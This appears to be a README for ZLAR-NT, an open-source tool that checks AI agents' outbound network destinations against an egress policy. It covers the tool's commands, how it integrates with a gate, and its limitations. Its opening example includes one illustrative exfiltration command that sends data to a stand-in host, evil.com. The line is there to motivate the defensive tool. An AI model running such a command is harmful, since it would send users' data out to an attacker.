The gate catches the command. NT checks the destination.
Application-level network egress policy for AI agents. Domain-aware. Cross-platform. No root required. The missing layer between command-level rules and kernel firewalls.
curl github.com → gate sees "curl" → blocked
curl evil.com/exfil → gate sees "curl" → blockedBoth are curl. Both get the same gate response. One is fine. One is data exfiltration. The gate can't tell the difference — it classifies commands, not destinations.
ZLAR-NT fills this gap. When the gate passes a network command to NT for destination checking, NT evaluates the URL against your egress policy and returns allow or deny. The gate acts on that decision.
| Command | What it does |
|---|---|
| check | Check a single URL against egress policy (exit 0 = allow, exit 1 = deny) |
| scan | Scan all current network connections against policy |
| watch | Continuous monitoring — alerts on new connections matching deny rules |
| resolve | Resolve a domain to IPs and check each against CIDR rules |
| policy | List, validate, or explain egress policy rules |
| report | Generate summary of network activity from NT logs |
| audit | Show NT decision log — what was allowed, denied, when, why |
| batch | Check multiple URLs from a file or stdin |
Configure the gate to call NT before allowing network commands:
zlar-nt check "$URL" --quiet --source gate
# Exit 0 = allow Exit 1 = denyThe gate passes the URL. NT resolves the domain, checks it against your egress policy, and returns a binary decision. The gate acts on it. No configuration changes required in NT — it reads your egress policy at check time.
| ZLAR-OC pf | ZLAR-NT | |
|---|---|---|
| Layer | Kernel (packet filter) | Application (policy advisory) |
| Platform | macOS only | Cross-platform (macOS, Linux) |
| Enforcement | Blocks packets | Reports allow/deny decisions |
| Rules | IP + port | Domain + IP + CIDR + port |
| Root required | Yes | No |
| DNS-aware | No | Yes |
Use ZLAR-OC pf for OS-level network containment on macOS. Use NT for application-level domain-aware policy — especially when running on Linux or when you need domain names rather than IP ranges.
NT does not block traffic. It reports policy decisions. Enforcement comes from the gate engine or kernel-level tools like pf.
DNS resolution is point-in-time. A domain's IP can change between resolution and connection. NT cannot detect this.
IPv6 CIDR matching is not implemented. IPv4 only for CIDR rules.
lsof output parsing is best-effort. Results may vary across OS versions and configurations.
Not a substitute for network security tools. NT is a policy advisory layer for AI agent governance — not a firewall, IDS, or DLP system.
| Product | Platform | What it does |
|---|---|---|
| ZLAR-OC | OpenClaw | OS-level containment — user isolation, kernel sandbox, pf firewall, gate daemon, signed policy, audit trail |
| ZLAR-CC | Claude Code | Hook-based gate — tool-call interception, risk classification, signed policy, Telegram approval |
| ZLAR Gate | Claude Code + Cursor + Windsurf | Universal gate — one policy across multiple editors, framework-specific adapters |
| ZLAR-LT | Claude Code + Cursor + Windsurf | Zero-config governance — one command, instant protection, deny-heavy defaults |
| ZLAR-AU | ZLAR Gate audit trail | Compliance reporting — hash chain verification, framework mapping, Splunk export |
| ZLAR-NT | Cross-platform | Network egress policy — destination-aware, domain-level, gate-integrated |
| ZLAR-FL | Cross-platform | Fleet governance — registry, health monitoring, audit aggregation, policy comparison |
Built by Vincent Nijjar and ZLAR Inc.
Open source under Apache License 2.0. Free to use, modify, and distribute.